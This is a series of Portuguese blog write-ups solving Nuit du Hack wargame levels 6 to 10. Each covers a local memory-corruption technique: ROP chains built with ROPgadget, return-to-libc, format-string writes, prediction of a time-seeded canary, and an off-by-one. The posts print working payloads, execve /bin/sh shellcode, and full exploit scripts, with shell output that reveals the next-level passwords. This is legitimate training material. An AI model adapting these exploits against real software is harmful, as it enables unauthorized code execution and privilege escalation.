Arquivo da categoria ‘Wargames’
Nuit du Hack Level10 – Return-Oriented Programming
Ultimo level desse wargame
Bem, confesso que vi um vídeo do da tool ROPgadget, do Jonathan Saiwan (http://shell-storm.org/project/ROPgadget/) que usa este level do wargame como demonstração de sua ferramenta.
Mas entendendo o conceito vou tentar passar aqui para vocês.
O método de exploração tende ser ROP, Return-Oriented Programming, que consiste em utilizar ‘gadgets’, que são endereços de instruções de maquina no próprio binário/processo, instruções estas seguidas da instrução ‘ret’, o encadeamento dessas instruções construímos o shellcode.
Ao rodar o ROPgadget, temos o seguinte output
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget
Syntax: ./ROPgadget <option> <binary> [FLAGS]
Options:
-file Load file
-g Search gadgets and make payload
-elfheader Display ELF Header
-progheader Display Program Header
-sectheader Display Section Header
-symtab Display Symbols Table
-allheader Display ELF/Program/Section/Symbols Header
-v Version
Flags:
-bind Set this flag for make a bind shellcode (optional) (Default local exploit)
-port <port> Set a listen port, optional (Default 1337)
-importsc <shellcode> Make payload and convert your shellcode in ROP payload
-filter <word> Word filter (research slowed)
-only <keyword> Keyword research (research slowed)
-opcode <opcode> Search a specific opcode on exec segment
-string <string> Search a specific hard string on read segment ('?' any char)
-asm <instructions> Search a specific instructions on exec segment
-limit <value> Limit the display of gadgets
-map <start-end> Search gadgets on exec segment between two address
Ex:
./ROPgadget -file ./smashme.bin -g -bind -port 8080
./ROPgadget -file ./smashme.bin -g -importsc "\x6a\x02\x58\xcd\x80\xeb\xf9"
./ROPgadget -file ./smashme.bin -g -filter "add %eax" -filter "dec" -bind -port 8080
./ROPgadget -file ./smashme.bin -g -only "pop" -filter "eax"
./ROPgadget -file ./smashme.bin -g -opcode "\xcd\x80"
./ROPgadget -file ./smashme.bin -g -asm "xor %eax,%eax ; ret"
./ROPgadget -file ./smashme.bin -g -asm "int \$0x80"
./ROPgadget -file ./smashme.bin -g -string "main"
./ROPgadget -file ./smashme.bin -g -string "m?in"
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$
Rodando no binário, ele gera um payload automaticamente.
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget -file /home/level10/level10 -g
Gadgets information
============================================================
0x08048145: pop %edi | ret
0x08048162: add $0xc95b5800,%eax | ret
0x08048204: add $0x14,%esp | pop %ebx | pop %ebp | ret
0x08048207: pop %ebx | pop %ebp | ret
0x08048208: pop %ebp | ret
0x0804824c: call *%eax
0x08048251: mov %esp,%ebp | ret
0x08048254: pop %ebx | ret
0x0804825a: inc %esi | ret
0x0804825c: xor %eax,%eax | pop %edi | ret
0x0804825e: inc %eax | ret
0x08048260: int $0x80
0x0804859e: mov %ebp,%esp | pop %ebp | ret
0x080488db: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048950: call *(%esi)
0x08048ac1: call *(%ebx)
0x08048af5: call *%edx
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080493eb: add $0x08,%esp | pop %ebx | pop %ebp | ret
0x08049457: jmp *%eax
0x0804949e: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08049691: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x080496a8: mov $0xffffffff,%edx | pop %ebp | ret
0x0804977e: pop %ebx | pop %esi | pop %ebp | ret
0x08049832: mov %eax,(%ecx) | pop %ebp | ret
0x080499c8: inc %eax | pop %edi | ret
0x08049bd1: add $0x10,%esp | pop %ebx | pop %ebp | ret
0x0804ac47: add $0xe8,%al | ret
0x0804bee2: jmp *(%esi)
0x0804bf04: mov (%edi),%edi | ret
0x0804c29a: add $0x83,%al | ret
0x0804c4db: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804d69a: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804e7fb: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804e8b1: jmp *(%ecx)
0x0804ed52: call *(%eax)
0x0804f1eb: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804fa3e: mov $0x89ffffd9,%esi | ret
0x0804ff52: add $0x0c,%esp | pop %ebx | pop %ebp | ret
0x08050775: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080510db: mov %edx,%edi | ret
0x0805176b: add $0x5d,%al | ret
0x08052032: mov $0xc9fffffa,%edx | ret
0x08052316: pop %esi | pop %ebx | pop %edx | ret
0x08052318: pop %edx | ret
0x08052341: pop %edx | pop %ecx | pop %ebx | ret
0x08052423: mov %edx,%eax | pop %ebp | ret
0x08052486: mov %edx,(%ecx) | pop %ebp | ret
0x0805358f: mov $0xffffffff,%eax | ret
0x0805491e: add $0x89,%al | ret
0x080550a9: push %esp | ret
0x080566ac: call *%ecx
0x08057821: jmp *(%eax)
0x08058a7f: neg %eax | pop %ebp | ret
0x080595cb: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08059ba0: mov $0x89c87d89,%eax | ret
0x0805eab6: mov %ecx,%eax | ret
0x0806462b: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08066c21: jmp *(%ebx)
0x0806735a: add $0x5d5bc031,%eax | ret
0x08067efd: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068823: mov $0xffffffff,%eax | pop %ebp | ret
0x080691fd: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a107: inc %eax | pop %edi | pop %esi | ret
0x0806a109: pop %esi | ret
0x0806a14d: inc %eax | inc %eax | inc %eax | ret
0x0806a14e: inc %eax | inc %eax | ret
0x0806a494: call *%edi
0x0806a6b5: call *%ebx
0x0806a9e4: call *%esi
0x0806c074: xchg %eax,%ebp | ret
0x0806d4c4: mov $0x8390080a,%ebx | ret
0x0806f3c5: sub $0x83,%al | ret
0x0806f506: mov (%edx),%eax | mov (%esp),%ebx | mov %ebp,%esp | pop %ebp | ret
0x0806f95c: mov %edx,%eax | ret
0x0806fb03: add $0x1c,%al | ret
0x0806fb1b: pusha | ret
0x0806ff32: jmp *(%edx)
0x0807241f: sub $0x89,%al | ret
0x08076551: add $0xc9fc5d8b,%eax | ret
0x080788c1: mov %eax,(%edx) | ret
0x08078bb2: xchg %eax,%esp | ret
0x0807ac90: add $0x3c,%esp | ret
0x0807b105: add $0x00000000,%eax | ret
0x0807bc70: add $0xc9,%al | ret
0x0807c5a0: mov $0x89fffffd,%edx | ret
0x0807c6d7: xor $0x83fffff6,%eax | ret
0x0807d760: add $0x21,%al | ret
0x0807de18: call *(%edi)
0x0807efad: add $0xe9,%al | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | ret
0x08085131: push %ebp | ret
0x080857df: jmp *%edx
0x08085f98: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085f9a: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085fa1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080869e5: xchg %eax,%edi | ret
0x0808ac54: mov $0x89ffffd1,%eax | ret
0x08092ce9: add $0x1c,%esp | pop %ebx | pop %ebp | ret
0x08096fc2: xchg %eax,%esi | ret
0x08096ff7: popa | ret
0x0809806f: call *(%ecx)
0x0809878b: mov $0x83fffffd,%eax | ret
0x080991c1: not %eax | ret
0x0809951f: xor %eax,%eax | ret
0x0809a89f: sub $0xc9000005,%eax | ret
0x0809e3b6: xor $0x89ffffff,%eax | ret
0x0809e3d5: xor $0x89000000,%eax | ret
0x0809ff72: mov $0x83000002,%edx | ret
0x080a1080: add $0x18,%esp | pop %ebx | pop %ebp | ret
0x080a16f9: dec %eax | ret
0x080a1749: push %eax | ret
0x080a1759: pop %esp | ret
0x080a1769: pop %eax | ret
0x080a1971: add $0x24,%esp | pop %ebx | pop %ebp | ret
0x080a310a: mov $0x81000010,%edi | ret
0x080a410f: mov $0x81000000,%edx | ret
0x080a41c9: mov (%esp),%ecx | ret
0x080a41cd: mov (%esp),%ebx | ret
0x080a67b8: sub $0x04,%ebx | call *%eax
0x080a6816: ror %ecx | ret
0x080a937e: mov $0xc2c1c0bf,%esi | ret
0x080bc466: xchg %eax,%esi | pop %ebp | ret
0x080bc64e: push %esi | ret
0x080bc698: xchg %eax,%esp | pop %ebp | ret
0x080bf967: jmp *(%edi)
0x080c01cb: call *(%edx)
0x080c17c7: jmp *%esi
0x080c1901: push %edx | ret
0x080c3313: jmp *%edi
0x080c3733: add $0x44,%al | ret
0x080c3a42: dec %ebx | ret
Unique gadgets found: 134
Possible combinations.
============================================================
[+] Combo 1 was found - Possible with the following gadgets. (execve)
- 0x08048260 => int $0x80
- 0x0804825e => inc %eax | ret
- 0x0809951f => xor %eax,%eax | ret
- 0x080788c1 => mov %eax,(%edx) | ret
- 0x080a1769 => pop %eax | ret
- 0x08048254 => pop %ebx | ret
- 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
- 0x08052318 => pop %edx | ret
- 0x080c6001 => .data Addr
Payload
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
EOF Payload
[-] Combo 1 was not found, missing instruction(s).
- .......... => sysenter
- 0x0804825e => inc %eax | ret
- 0x0809951f => xor %eax,%eax | ret
- 0x080788c1 => mov %eax,(%edx) | ret
- 0x080a1769 => pop %eax | ret
- 0x08048254 => pop %ebx | ret
- 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
- 0x08052318 => pop %edx | ret
- 0x08048208 => pop %ebp | ret
- 0x080c6001 => .data Addr
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$
Percebemos que ele usa a área de data para colocar a string /bin//sh.
Primeiro usa os gadgets de pop %edx | ret, para colocar o endereço de data em edx.
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
Usa o pop %eax | ret para pegar um pedaço da string
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
E o mov %eax,(%edx) | ret para mover para a posição de data,
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
Assim colocamos a string /bin//sh num lugar com permissão de escrita, incluindo o null byte usando o gadget xor %eax, %eax.
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
No final, ele usa o xor %eax,%eax | ret para zerar o %eax, e depois inc %eax | ret, para colocar o valor da syscall execve em eax e logo depois chama o int 0×80.
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
Bem, mas se rodar este exploit, ele vai dar um segfault, isso é por causa da parte do meio.
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
Ou seja, o que deveria ser é o ebx estar com o endereço da string /bin//sh, que esta em data, no endereço 0x080c6001, e ecx e edx, apontando pro null byte, que esta em data + 8, mas o ROPgadget, deixou o ebx apontando para 0×42424242.
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
Modificando o exploit aqui, ficou.
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ cat exploit.py
#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"
from struct import pack
p = "a" * 12
# Generated by RopGadget v3.0
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
print p
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$
Executando…
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ /home/level10/level10 "$(python ./exploit.py)" ROP me if you can :] -> aaaaaaaaaaaa` /bin�` //sh�# ` � �A# ` ` ` � ^�^�^�^�^�^�^�^�^�^�^�`� $ id uid=1010(level10) gid=1010(level10) euid=1000(l33t) groups=1000(l33t),1010(level10) $ whoami l33t $ cat /home/l33t/passwd 4JS!sf. $
l33t!
Logando no l33t, não temos desafio, apenas o código do level10
l33t@wargame2k10:~$ cat rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10
void rop()
{
__asm("ret");
__asm("pop %ebx");
__asm("ret");
__asm("nop");
__asm("movl %esi, %edx");
__asm("pop %esi");
__asm("inc %esi");
__asm("ret");
__asm("xor %eax, %eax");
__asm("inc %eax");
__asm("ret");
__asm("int $0x80");
}
void vuln(char *buff)
{
char tmp[8] = {'\0'};
strcpy(tmp, buff);
printf("-> %s\n", tmp);
}
int main(int argc, char *argv[])
{
if(argc != 2) {
printf("%s <arg>\n", argv[0]);
exit(0);
}
printf("ROP me if you can :]\n");
vuln(argv[1]);
return 0;
}
l33t@wargame2k10:~$
É isso ai wargame zerado
Nuit du Hack Level9 – Return to LibC
Level9 do nuit du hack, lendo o source..
$ cat level9.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9
void sayHello(char *tmp)
{
char login[50];
strcpy(login, tmp);
printf("Hi %s !\n", login);
}
int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
sayHello(argv[1]);
exit(0);
}
Vemos que não foi compilado com -z execstack, e temos a proteção do pax, isso significa que temos que fazer um return to libc
Vamos ver dentro do gdb.
(gdb) r $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"') Hi �������������������������������������������������������̻� ! Program received signal SIGSEGV, Segmentation fault. 0xaabbccdd in ?? () (gdb)
Controlamos facilmente o eip, vamos colocar um /bin/sh numa variável de ambiente, e pegar seu endereço.
$ export SC=" /bin/sh" $ /tmp/getenv SC 0xbfffffae $
Legal, vamos pegar o endereço da função system.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecf180 <system>
(gdb)
Certo, precisamos então colocar
[54 bytes ĺixo] [&system] [4 bytes lixo] [&"/bin/sh"]
(gdb) r $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"') Hi �����������������������������������������������������������̻����� ! $
yahuu uma shell
Fora do gdb…
$ ./level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"') Hi �����������������������������������������������������������̻����� ! $ id uid=1009(level9) gid=1009(level9) euid=1010(level10) groupes=1010(level10),1009(level9) $ cat /home/level10/passwd z8D4ds $
PWNED!
Nuit du Hack Level8 – Format String Bug
Mais um level do nuit du hack
Vamos ao source
#include <stdio.h>
#include <stdlib.h>
// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
printf(argv[1]);
printf("\nNice to see you\n");
exit(0);
}
Temos um clássico format string bug, vamos testar.
level8@wargame2k10:~$ ./level8 "0x%x" 0xbffff868 Nice to see you level8@wargame2k10:~$
Podemos ver que demos um pop em um valor da stack, vamos tentar ler uma área arbitraria da memória.
Com um for e grep, achamos a shell como exemplo
level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "%$i\$s" |grep SHELL && echo $i; done SHELL=/bin/sh 47 level8@wargame2k10:~$
E depois usamos o offset 47 para ler essa área da memória.
level8@wargame2k10:~$ ./level8 "%47\$s" SHELL=/bin/sh Nice to see you level8@wargame2k10:~$
Podemos escrever escrever em areas de memoria arbitrariamente, usando %n, para isso basta termos o offset da onde nosso endereço esta na stack, para isso bastar achar o offset de onde nosso endereço vai estar, e o %n escrevera a quantidade de bytes digitados até então, lembrando que podemos usar %u para colocar mais bytes.
level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "AAAAB[0x%$i\$x]" |grep 4141 && echo $i; done AAAAB[0x41414141] 115 level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$x]" AAAAB[0x41414141] Nice to see you level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$n]" Erreur de segmentation level8@wargame2k10:~$
O motivo da falha de segmentação foi por que tentamos escrever em 0×41414141, que não é um endereço valido, então podemos sobrescreve um endereço de retorno na pilha, por exemplo, ou a GOT no endereço de exit.ou demos o .dtor, vamos no endereço de retorno.
Dentro do gdb, disas main.
(gdb) disas main Dump of assembler code for function main: 0x08048424 <main+0>: push %ebp 0x08048425 <main+1>: mov %esp,%ebp 0x08048427 <main+3>: sub $0x4,%esp 0x0804842a <main+6>: cmpl $0x1,0x8(%ebp) 0x0804842e <main+10>: jg 0x8048448 <main+36> 0x08048430 <main+12>: movl $0x8048530,(%esp) 0x08048437 <main+19>: call 0x8048350 <puts@plt> 0x0804843c <main+24>: movl $0xffffffff,(%esp) 0x08048443 <main+31>: call 0x8048360 <exit@plt> 0x08048448 <main+36>: mov 0xc(%ebp),%eax 0x0804844b <main+39>: add $0x4,%eax 0x0804844e <main+42>: mov (%eax),%eax 0x08048450 <main+44>: mov %eax,(%esp) 0x08048453 <main+47>: call 0x8048340 <printf@plt> 0x08048458 <main+52>: movl $0x804853e,(%esp) 0x0804845f <main+59>: call 0x8048350 <puts@plt> 0x08048464 <main+64>: movl $0x0,(%esp) 0x0804846b <main+71>: call 0x8048360 <exit@plt> End of assembler dump. (gdb)
Colodamos um Breakpoint na printf da plt.
(gdb) b *0x8048340 Breakpoint 1 at 0x8048340 (gdb)
Rodamos e vemos o topo da pilha, que estará o endereço de retorno salvo.
(gdb) r a Starting program: /home/level8/level8 a Breakpoint 1, 0x08048340 in printf@plt () (gdb) x/x $esp 0xbffffc60: 0x08048458 (gdb)
O que precisamos fazer é sobrescrever o endereço 0xbffffcd0 com o endereço do nosso shellcode.
Colocamos nosso shellcode numa variável de ambiente.
$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') level8@wargame2k10:~$ /tmp/getenv SC 0xbfffff3e level8@wargame2k10:~$
Vamos escrever byte a byte, usando %n,
isto é nos endereços: bffffc60, bffffc61, bffffc62, bffffc63,
por causa da quantidade de bytes o offset mudou pra 118.
(gdb) r $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level8/level8 $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"') Breakpoint 1, 0x08048340 in printf@plt () (gdb) c Continuing. Executing new program: /bin/dash $
Executamos a shell
Fora do gdb,..
$ id uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8) $ cat /home/level9/passwd g974d.
Até a próxima
Nuit du Hack Level7 – Pseudo-random canary
Ae pessoal, mais um level do nuit du hack.
Como de costume vou começar olhando o source.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
unsigned int secret;
int vuln(char *arg) {
unsigned int cookie = secret;
char tmp[64] = {'\0'};
strcpy(tmp, arg);
if(cookie!=secret) {
printf("It's not my cookie
\n");
exit(0);
}
return 1337;
}
int main(int argc, char *argv[])
{
if(argc != 2) {
printf("%s <P0wn Me!> \n", argv[0]);
exit(0);
}
srand(time(NULL));
secret = rand();
printf("GooD Boy
%08X\n", secret);
vuln(argv[1]);
return 0;
}
Temos um cookie(canary) na função vuln, quando fazemos o overflow no buffer tmp, alteramos a variável cookie, e essa variável verificada antes do return e caso esteja diferente do valor original o programa é finalizado, impedindo a exploração pois a instrução ret não ira dar o jmp para o nosso endereço.
A ideia aqui é tentar gerar o mesmo cookie e coloca-lo exatamente na posição aonde o mesmo está na stack, vemos que ele gera o cookie usando a funcao rand e usando o seed como o time, só precisamos gerar o mesmo seed, ou seja no executar no mesmo segundo, vamos tentar gerar o mesmo cookie.
$ cat > /tmp/poc1_lvl7.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 64
int
main()
{
char arg[BUF];
char * args[] = { NAME, arg, NULL } ;
int cookie;
memset(arg, 'A', BUF);
srand(time(NULL));
cookie = rand();
printf("cookie %x\n", cookie);
execve(PATH, args, NULL);
return 0;
}
^C
$ gcc -o /tmp/poc1_lvl7 /tmp/poc1_lvl7.c
$ /tmp/poc1_lvl7
cookie 6bedffd0
GooD Boy
6BEDFFD0
$
Funciona! podemos gerar o mesmo cookie, agora basta basta colocar o cookie na posição logo acima do buffer tmp, que é 64 bytes, e depois o eip para o shellcode, que com um pouco de debug achei a 80 bytes apos o começo do buffer tmp, vamos usar execle para controlarmos o ambiente, colocando o shellcode no enviroment, e calculando sua posição a partir do 0xbffffffa. Segue abaixo o exploit.
$ cat > /tmp/xpl.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 85
#define EIP_OFFSET 80
#define COOKIE_OFFSET 64
int
main()
{
char arg[BUF];
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80";
void * env[] = { sc, NULL } ;
int cookie, addr = 0xbffffffa - strlen(PATH) - strlen(sc);
memset(arg, 'A', BUF);
srand(time(NULL));
cookie = rand();
*(int *)(arg + COOKIE_OFFSET) = cookie;
*(int *)(arg + EIP_OFFSET) = addr;
printf("arg %s\n", arg);
printf("cookie %x\n", *(int *)(arg + COOKIE_OFFSET));
printf("eip %x\n", addr);
execle(PATH, NAME, arg, NULL, env);
return 0;
}
^C
$ gcc -o /tmp/xpl /tmp/xpl.c
$ /tmp/xpl
arg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAԀ�*AAAAAAAAAAAA����AԀ�*����P�
cookie 2a8480d4
eip bfffffce
GooD Boy
2A8480D4
$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7)
$ cat /home/level8/passwd
sgfc.g
$
Yahuu! até a próxima
Nuit du Hack Level6 – Off-by-one error
E ai galera, vamos mais uma solução do nuit du hack wargame, agora no level 6.
Vamos ler o code.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int layer(char *arg){
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}
int main(int argc, char *argv[])
{
if(!argv[1]) return;
layer(argv[1]);
return 0;
}
Temos na função layer uma verificação para impedir que se coloque acima de 128 no argumento, acontece que o buffer tem 128 bytes, e iso não deixa espaço para o nullbyte, causando um off-by-one error, o strcpr irá sobrescrever o byte menos significativo do ebp-salvo na pilha com o nullbyte, e após uma sequencia de dois leaves(mov $ebp,$esp | pop $ebp) | ret, o esp poderá estar apontando para uma parte do buffer que controlamos no momento da instrução ret e assim ter controle do eip, vamos tentar.
(gdb) r $(perl -e 'print "\xaa" x 128') Starting program: /home/level6/level6 $(perl -e 'print "\xaa" x 128') Program received signal SIGSEGV, Segmentation fault. 0xaaaaaaaa in ?? () (gdb)
Sucesso! Temos o controle do eip, vamos ver se colocamos um valor especifico e não um monte de 0xaa.
(gdb) r $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level6/level6 $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32') Program received signal SIGSEGV, Segmentation fault. 0xaabbccdd in ?? () (gdb)
Facil, basta agora colocar o shellcode numa variavel de ambiente e setar o eip para la
